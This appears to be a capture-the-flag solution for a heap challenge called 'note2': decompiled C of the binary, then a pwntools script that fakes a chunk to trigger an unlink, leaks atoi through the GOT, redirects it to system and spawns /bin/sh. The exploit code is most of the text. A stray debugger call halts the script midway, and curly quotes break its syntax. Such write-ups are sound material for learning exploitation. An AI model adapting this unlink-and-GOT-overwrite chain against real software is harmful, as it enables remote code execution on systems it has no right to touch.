void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  ReadStr((char *)&name, 64LL, 10);
  puts("Input your address:");
  ReadStr((char *)&address, 96LL, 10);
  while ( 1 )
  {
    switch ( selectchoice() )
    {
      case 1:
        NewNote();
        break;
      case 2:
        ShowNote();
        break;
      case 3:
        EditNote();
        break;
      case 4:
        DeleteNote();
        break;
      case 5:
        puts("Bye~");
        exit(0);
        return;
      case 6:
        exit(0);
        return;
      default:
        continue;
    }
  }
}

int selectchoice()
{
  puts("1.New note\n2.Show  note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return inputNum();
}

int inputNum()
{
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  ReadStr(&nptr, 16LL, 10);
  return atoi(&nptr);
}

int NewNote()
{
  char *note; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)NoteNum > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = inputNum();
  if ( size > 128 )
    return puts("Too long");
  note = (char *)malloc(size);
  puts("Input the note content:");
  ReadStr(note, size, ‘\n‘);
  RemovePercent(note);
  ptr[NoteNum] = (__int64)note;
  Len[NoteNum] = size;
  v2 = NoteNum++;
  return printf("note add success, the id is %d\n", v2);
}

int ShowNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
      LODWORD(v0) = printf("Content is %s\n", ptr[v2]);
  }
  return v0;
}

unsigned __int64 EditNote()
{
  char *v0; // rax
  char *v1; // rbx
  int v3; // [rsp+8h] [rbp-E8h]
  int v4; // [rsp+Ch] [rbp-E4h]
  char *src; // [rsp+10h] [rbp-E0h]
  __int64 v6; // [rsp+18h] [rbp-D8h]
  char dest; // [rsp+20h] [rbp-D0h]
  char *v8; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( NoteNum )
  {
    puts("Input the id of the note:");
    v3 = inputNum();
    if ( v3 >= 0 && v3 <= 3 )
    {
      src = (char *)ptr[v3];
      v6 = Len[v3];
      if ( src )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        v4 = inputNum();
        if ( v4 == 1 || v4 == 2 )
        {
          if ( v4 == 1 )
            dest = 0;
          else
            strcpy(&dest, src);
          v0 = (char *)malloc(0xA0uLL);
          v8 = v0;
          *(_QWORD *)v0 = ‘oCweNehT‘;
          *((_QWORD *)v0 + 1) = ‘:stnetn‘;
          printf(v8);
          ReadStr(v8 + 15, 144LL, 10);
          RemovePercent(v8 + 15);
          v1 = v8;
          v1[v6 - strlen(&dest) + 14] = 0;
          strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(src, &dest);
          free(v8);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}

int DeleteNote()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = inputNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = ptr[(signed int)v0];
    if ( v0 )
    {
      free((void *)ptr[v2]);
      ptr[v2] = 0LL;
      Len[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}

# coding=UTF-8
from pwn import *

p = process(‘./note2‘)
note2 = ELF(‘./note2‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6‘)
context.log_level = ‘debug‘


def newnote(length, content):
    p.recvuntil(‘option--->>‘)
    p.sendline(‘1‘)
    p.recvuntil(‘(less than 128)‘)
    p.sendline(str(length))
    p.recvuntil(‘content:‘)
    p.sendline(content)


def shownote(id):
    p.recvuntil(‘option--->>‘)
    p.sendline(‘2‘)
    p.recvuntil(‘note:‘)
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil(‘option--->>‘)
    p.sendline(‘3‘)
    p.recvuntil(‘note:‘)
    p.sendline(str(id))
    p.recvuntil(‘2.append]‘)
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil(‘option--->>‘)
    p.sendline(‘4‘)
    p.recvuntil(‘note:‘)
    p.sendline(str(id))


p.recvuntil(‘name:‘)
p.sendline(‘hello‘)
p.recvuntil(‘address:‘)
p.sendline(‘hello‘)

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = ‘a‘ * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + ‘b‘ * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, ‘a‘ * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, ‘b‘ * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = ‘a‘ * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18

gdb.attach(p)
p.interactive()

deletenote(2)




# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got[‘atoi‘]
content = ‘a‘ * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil(‘is ‘)
atoi_addr = p.recvuntil(‘\n‘, drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, ‘\x00‘))
print ‘leak atoi addr: ‘ + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols[‘atoi‘]
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols[‘system‘]
system_addr = libcbase + system_offest

print ‘leak system addr: ‘, hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

# get shell
p.recvuntil(‘option--->>‘)
p.sendline(‘/bin/sh‘)
p.interactive()